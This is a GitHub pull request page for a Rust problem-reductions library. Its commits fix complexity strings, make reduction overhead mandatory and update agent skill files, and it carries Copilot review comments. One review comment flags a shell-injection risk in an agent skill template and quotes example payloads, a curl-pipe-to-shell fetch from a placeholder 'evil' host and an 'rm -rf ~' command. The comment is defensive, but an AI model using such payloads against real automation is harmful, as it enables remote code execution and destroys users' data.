Fix complexity inconsistencies, enforce overhead, add missing variants#112
Fix complexity inconsistencies, enforce overhead, add missing variants#112
Conversation
- Make overhead mandatory in #[reduction] proc macro (compile error instead of silent default) - Fix 11 complexity strings to match paper ground truth (best known algorithms) - Add declare_variants! to BicliqueCover, BMF, and PaintShop Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
KingsSubgraph, TriangularSubgraph, and UnitDiskGraph variants use subexponential algorithms exploiting planar/geometric structure. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Cite Alber & Fiala (2004) for O*(c^sqrt(n)) algorithms on unit disk, King's subgraph, and triangular subgraph variants. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
There was a problem hiding this comment.
Pull request overview
This PR tightens reduction metadata correctness by making #[reduction] overhead explicit, aligning declared variant complexities with the paper’s stated best-known bounds, and ensuring missing models participate in the variant registry used by the reduction graph/documentation pipeline.
Changes:
- Enforce
overhead = { ... }as a required argument to the#[reduction]proc macro (missing overhead becomes a compile error). - Update multiple
declare_variants!complexity strings to reflect best-known algorithms (and adjust the unit test accordingly). - Add missing
declare_variants!registrations forBicliqueCover,BMF, andPaintShop, and extend paper references/text accordingly.
Reviewed changes
Copilot reviewed 18 out of 18 changed files in this pull request and generated 2 comments.
Show a summary per file
| File | Description |
|---|---|
| src/unit_tests/rules/graph.rs | Updates expected complexity string for MIS default variant. |
| src/models/specialized/paintshop.rs | Adds declare_variants! entry for PaintShop. |
| src/models/specialized/factoring.rs | Updates Factoring complexity string. |
| src/models/specialized/bmf.rs | Adds declare_variants! entry for BMF. |
| src/models/specialized/biclique_cover.rs | Adds declare_variants! entry for BicliqueCover. |
| src/models/satisfiability/ksat.rs | Updates K3 SAT complexity string. |
| src/models/optimization/ilp.rs | Updates ILP complexity string. |
| src/models/optimization/closest_vector_problem.rs | Updates CVP complexity strings. |
| src/models/graph/traveling_salesman.rs | Updates TSP complexity string. |
| src/models/graph/minimum_vertex_cover.rs | Updates MVC complexity string. |
| src/models/graph/minimum_dominating_set.rs | Updates MDS complexity string. |
| src/models/graph/maximum_independent_set.rs | Updates MIS complexity strings across graph variants. |
| src/models/graph/maximum_clique.rs | Updates Maximum Clique complexity string. |
| src/models/graph/maximal_is.rs | Updates maximal IS enumeration complexity string. |
| src/models/graph/max_cut.rs | Updates MaxCut complexity string. |
| problemreductions-macros/src/lib.rs | Makes overhead mandatory for #[reduction] and emits an error if missing. |
| docs/paper/references.bib | Adds a new bibliographic reference (alber2004). |
| docs/paper/reductions.typ | Extends MIS discussion to cite geometric separation results and new reference. |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| @article{alber2004, | ||
| author = {Jochen Alber and Ji\v{r}\'{\i} Fiala}, | ||
| title = {Geometric separation and exact solutions for the parameterized independent set problem on disk graphs}, | ||
| journal = {Journal of Algorithms}, | ||
| volume = {52}, | ||
| number = {2}, | ||
| pages = {134--151}, | ||
| year = {2004}, | ||
| doi = {10.1016/j.jalgor.2003.10.001} |
There was a problem hiding this comment.
The new BibTeX entry uses LaTeX accent escapes in the author field (e.g., Ji\v{r}\'{\i}), while the rest of references.bib appears to use plain text. Typst/Bib parsers often don't fully expand LaTeX macros, which can lead to incorrect rendering in the compiled paper. Consider replacing the escapes with the actual Unicode characters (e.g., "Jiří Fiala") to ensure consistent bibliography output.
problemreductions-macros/src/lib.rs
Outdated
| None => { | ||
| return Err(syn::Error::new( | ||
| proc_macro2::Span::call_site(), | ||
| "#[reduction] requires overhead = { ... }. Specify overhead expressions for all target problem size fields.", |
There was a problem hiding this comment.
The compile error text for missing overhead is a bit ambiguous: it says "requires overhead = { ... }" but the actual syntax is #[reduction(overhead = { ... })]. It may be clearer to include the full attribute form (and/or a short example), so users immediately know what to paste when they hit this error.
| "#[reduction] requires overhead = { ... }. Specify overhead expressions for all target problem size fields.", | |
| "Missing overhead specification. Use #[reduction(overhead = { ... })] and specify overhead expressions for all target problem size fields.", |
Codecov Report❌ Patch coverage is
Additional details and impacted files@@ Coverage Diff @@
## main #112 +/- ##
==========================================
- Coverage 96.89% 96.88% -0.01%
==========================================
Files 200 200
Lines 27099 27544 +445
==========================================
+ Hits 26258 26687 +429
- Misses 841 857 +16 ☔ View full report in Codecov by Sentry. 🚀 New features to boost your workflow:
|
- review-implementation: "Task tool" → "Agent tool" (tool doesn't exist)
- review-implementation: Remove narrow HEAD~1 detection, use main..HEAD only
- review-implementation: Add run_in_background guidance for parallel dispatch
- structural-reviewer-prompt: Fix grep-style \| to ripgrep | alternation
- fix-pr: Add $REPO resolution, replace {owner}/{repo} placeholders
- fix-pr: Clarify --jq warning scope (gh api only, not gh pr view)
- add-rule: Add export_schemas to Step 6, fix section title
- add-model: Add Step 2.5 for declare_variants! macro registration
- add-model: Add declare_variants! to Common Mistakes table
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- add-model: Document variant_params! macro usage for variant() implementation - issue-to-pr: Add pre-flight checks (clean tree, existing branch) before branch creation; add retry/dirty-tree to Common Mistakes - write-model-in-paper: Fix wrong make rust-export → use make paper (which auto-runs export_graph + export_schemas) - write-rule-in-paper: Fix wrong make rust-export → correct export commands Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Orchestrates end-to-end pipeline: issue-to-pr -> make run-plan -> copilot-review -> fix-pr loop (3 retries) -> merge. Processes all open [Model] issues first, then [Rule] issues. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Replace fixed sleep with CI poll loop (30s intervals, 15min max) - Use gh pr merge --auto to avoid CI/merge race condition - Detect existing PRs from previous runs and resume instead of re-plan - Clean stale branches before starting a new issue - Add batch-mode note: auto-approve sub-skill confirmation prompts Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
There was a problem hiding this comment.
Pull request overview
Copilot reviewed 31 out of 31 changed files in this pull request and generated 3 comments.
Comments suppressed due to low confidence (1)
.claude/skills/issue-to-pr/SKILL.md:107
- The shell commands building
git commitandgh pr createarguments interpolate the GitHub issue title (<title>) directly into double-quoted strings, which allows command injection if an attacker opens an issue with a crafted title containing shell metacharacters (e.g.,$(curl https://evil | sh)or"; rm -rf ~; echo "). When/issue-to-pris run on such an issue and this template is followed literally, the generated command line will execute the injected payload on the developer/automation host. To fix this, ensure the issue title is safely escaped or passed via a variable (or--fileinput) rather than inlined into the shell command, and strip or neutralize shell metacharacters before constructing any command that includes user-controlled text.
# Create branch (from main)
git checkout main
git checkout -b issue-<number>-<slug>
# Stage the plan file
git add docs/plans/<plan-file>.md
# Commit
git commit -m "Add plan for #<number>: <title>"
# Push
git push -u origin issue-<number>-<slug>
# Create PR
gh pr create --title "Fix #<number>: <title>" --body "
## Summary
<Brief description>
Closes #<number>"
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
src/models/specialized/factoring.rs
Outdated
|
|
||
| crate::declare_variants! { | ||
| Factoring => "exp(sqrt(num_bits))", | ||
| Factoring => "exp(num_bits^(1/3) * log(num_bits)^(2/3))", |
There was a problem hiding this comment.
The new Factoring complexity string references num_bits, but this model doesn’t define a num_bits() getter (it has m()/n() and num_bits_first()/num_bits_second()). This makes the complexity metadata inconsistent with the model’s size parameters and can be confusing/misleading in the exported docs. Consider expressing the bit-length in terms of existing fields (e.g., m + n, or num_bits_first + num_bits_second) or adding a num_bits() helper that matches the complexity expression.
| Factoring => "exp(num_bits^(1/3) * log(num_bits)^(2/3))", | |
| Factoring => "exp((m + n)^(1/3) * log(m + n)^(2/3))", |
| | 3 | `#[derive(...Serialize, Deserialize)]` on struct | `Grep("Serialize.*Deserialize", file)` | | ||
| | 4 | `Problem` trait impl | `Grep("impl.*Problem for.*{P}", file)` | | ||
| | 5 | `OptimizationProblem` or `SatisfactionProblem` impl | `Grep("(OptimizationProblem\|SatisfactionProblem).*for.*{P}", file)` | | ||
| | 5 | `OptimizationProblem` or `SatisfactionProblem` impl | `Grep("(OptimizationProblem|SatisfactionProblem).*for.*{P}", file)` | |
There was a problem hiding this comment.
The regex alternation here uses an unescaped |, but the same checklist uses escaped alternation (\|) in other Grep patterns below. If the Grep tool is using basic regex, this pattern will match the literal | instead of acting as alternation, causing the checklist to miss valid impls. Use a consistent regex style (e.g., OptimizationProblem\|SatisfactionProblem for basic regex, or switch all alternations to unescaped | if Grep is extended regex).
| | 5 | `OptimizationProblem` or `SatisfactionProblem` impl | `Grep("(OptimizationProblem|SatisfactionProblem).*for.*{P}", file)` | | |
| | 5 | `OptimizationProblem` or `SatisfactionProblem` impl | `Grep("(OptimizationProblem\|SatisfactionProblem).*for.*{P}", file)` | |
| **Pre-flight checks** (before creating the branch): | ||
| 1. Verify clean working tree: `git status --porcelain` must be empty. If not, STOP and ask user to stash or commit. | ||
| 2. Check if branch already exists: `git rev-parse --verify issue-<number>-<slug> 2>/dev/null`. If it exists, switch to it with `git checkout` (no `-b`) instead of creating a new one. | ||
|
|
||
| ```bash | ||
| # Create branch | ||
| # Create branch (from main) | ||
| git checkout main | ||
| git checkout -b issue-<number>-<slug> | ||
|
|
There was a problem hiding this comment.
The pre-flight checks say to git checkout issue-<number>-<slug> without -b if the branch already exists, but the example snippet always runs git checkout -b issue-<number>-<slug>, which will fail on retries. Consider updating the snippet to reflect the conditional logic (or show both commands in an if/else).
- Add overhead_eval_fn to ReductionEntry (calls getter methods directly) - Add complexity_eval_fn to VariantEntry (same pattern) - Convert declare_variants! from macro_rules to proc macro with compile-time getter validation - Make overhead attribute required in #[reduction] macro - Add Expr::parse() runtime parser for cross-check tests - Fix complexity strings: use concrete values only (no epsilon/omega) - Fix getter mismatches: SpinGlass num_spins, CircuitSAT num_variables - Add comprehensive parser tests and cross-check tests - Update CLAUDE.md and skills to document new patterns Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
There was a problem hiding this comment.
Pull request overview
Copilot reviewed 42 out of 42 changed files in this pull request and generated 4 comments.
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| "category": "specialized", | ||
| "doc_path": "models/specialized/struct.Factoring.html", | ||
| "complexity": "exp(sqrt(num_bits))" | ||
| "complexity": "exp(num_bits^(1/3) * log(num_bits)^(2/3))" |
There was a problem hiding this comment.
The exported Factoring complexity references num_bits, but the Factoring model exposes m/n (and num_bits_first/num_bits_second) — there is no num_bits getter/field. This makes the JSON inconsistent with src/models/specialized/factoring.rs and breaks runtime evaluation if these strings are ever parsed. Please regenerate/fix this entry to use the same variables as the Rust model (e.g., exp((m + n)^(1/3) * log(m + n)^(2/3))).
| "complexity": "exp(num_bits^(1/3) * log(num_bits)^(2/3))" | |
| "complexity": "exp((m + n)^(1/3) * log(m + n)^(2/3))" |
| // Leak the string to get &'static str for Expr::Var | ||
| let leaked: &'static str = Box::leak(name.into_boxed_str()); | ||
| Ok(Expr::Var(leaked)) |
There was a problem hiding this comment.
Expr::parse leaks memory for every variable identifier via Box::leak(...). Since Expr::parse is a public API and may be called on arbitrary runtime input, this creates unbounded growth across parses (even for repeated variable names). Consider avoiding leaks by interning identifiers (e.g., global cache) or changing the runtime parser/AST to store owned names (e.g., String/Arc<str>) instead of requiring &'static str.
| "category": "graph", | ||
| "doc_path": "models/graph/struct.MaxCut.html", | ||
| "complexity": "2^num_vertices" | ||
| "complexity": "2^(omega * num_vertices / 3)" |
There was a problem hiding this comment.
The exported MaxCut complexity uses a symbolic constant (omega) in the expression. This is inconsistent with the Rust declare_variants! entry (which uses a concrete numeric exponent) and also won’t evaluate correctly if parsed (missing omega defaults to 0). Please regenerate/fix the export to inline the numeric bound (e.g., 2^(2.372 * num_vertices / 3)).
| "complexity": "2^(omega * num_vertices / 3)" | |
| "complexity": "2^(2.372 * num_vertices / 3)" |
| git checkout main | ||
| git rev-parse --verify issue-<number>-<slug> 2>/dev/null && git checkout issue-<number>-<slug> || git checkout -b issue-<number>-<slug> |
There was a problem hiding this comment.
The branch name issue-<number>-<slug> is interpolated directly into shell commands without quoting or sanitization. If <slug> ever contains shell metacharacters derived from issue titles or user-provided text (e.g., ;, &&, $(), backticks), running this skill could execute arbitrary commands on the developer machine when git checkout/git push are invoked. To harden this flow, construct the branch name from a sanitized slug restricted to safe characters (e.g., [A-Za-z0-9_-]) or pass it via a quoted variable instead of embedding it inline in the command text.
- Regenerate reduction_graph.json to fix stale complexity strings (Factoring num_bits → m+n, MaxCut omega → 2.372) - Clarify Box::leak memory note in Expr::parse doc comment - Fix regex alternation consistency in structural-reviewer-prompt Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
There was a problem hiding this comment.
Pull request overview
Copilot reviewed 42 out of 42 changed files in this pull request and generated 2 comments.
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| /// Panics if the expression string has invalid syntax. | ||
| pub fn parse(input: &str) -> Expr { | ||
| parse_to_expr(input) | ||
| .unwrap_or_else(|e| panic!("failed to parse expression \"{input}\": {e}")) | ||
| } | ||
|
|
There was a problem hiding this comment.
Expr::parse() is a public API that intentionally leaks every parsed variable name via Box::leak. Even with the doc warning, this creates an unbounded memory growth footgun for any downstream caller (or for accidental use outside tests). Consider gating runtime parsing behind #[cfg(test)]/a feature flag, or deduplicating leaked identifiers with a small global interner so repeated parses of the same variable don’t leak repeatedly.
| /// Panics if the expression string has invalid syntax. | |
| pub fn parse(input: &str) -> Expr { | |
| parse_to_expr(input) | |
| .unwrap_or_else(|e| panic!("failed to parse expression \"{input}\": {e}")) | |
| } | |
| /// Panics if the expression string has invalid syntax. | |
| #[cfg(any(test, feature = "runtime_expr_parse"))] | |
| pub fn parse(input: &str) -> Expr { | |
| parse_to_expr(input) | |
| .unwrap_or_else(|e| panic!("failed to parse expression \"{input}\": {e}")) | |
| } | |
| /// Fallback `Expr::parse` for builds where runtime parsing is disabled. | |
| /// | |
| /// This version is compiled for non-test builds without the | |
| /// `runtime_expr_parse` feature. It always panics to avoid exposing a | |
| /// leaking runtime parser by default. | |
| #[cfg(not(any(test, feature = "runtime_expr_parse")))] | |
| pub fn parse(_input: &str) -> Expr { | |
| panic!( | |
| "Expr::parse is disabled in this build. Enable the `runtime_expr_parse` \ | |
| Cargo feature to use runtime expression parsing (which leaks variable \ | |
| names via Box::leak), or construct `Expr` values programmatically." | |
| ); | |
| } |
| // Generate overhead and eval fn | ||
| let (overhead, overhead_eval_fn) = match &attrs.overhead { | ||
| Some(OverheadSpec::Legacy(tokens)) => { | ||
| let eval_fn = quote! { | ||
| |_: &dyn std::any::Any| -> crate::types::ProblemSize { | ||
| panic!("overhead_eval_fn not available for legacy overhead syntax; \ | ||
| migrate to parsed syntax: field = \"expression\"") | ||
| } | ||
| }; | ||
| (tokens.clone(), eval_fn) | ||
| } |
There was a problem hiding this comment.
For legacy overhead syntax, the generated overhead_eval_fn unconditionally panics at runtime. Since ReductionEntry::overhead_eval_fn is now a required field, any reductions still using the legacy overhead form (including macro-generated ones) will carry a latent runtime crash if overhead_eval_fn is ever used outside these tests. Consider either migrating remaining legacy call sites to the parsed field = "expr" form, or changing the API/codegen to make overhead_eval_fn optional / non-panicking for legacy entries (and document the behavior either way).
Summary
overheadmandatory in#[reduction]proc macro — missing overhead now produces a compile error instead of silently defaulting to emptydeclare_variants!to match paper ground truth (best known algorithms instead of naive brute-force bounds)declare_variants!to 3 models that were missing it:BicliqueCover,BMF,PaintShopTest plan
make test— all 1526 tests passmake clippy— no warningsmake rust-export— regenerated successfully🤖 Generated with Claude Code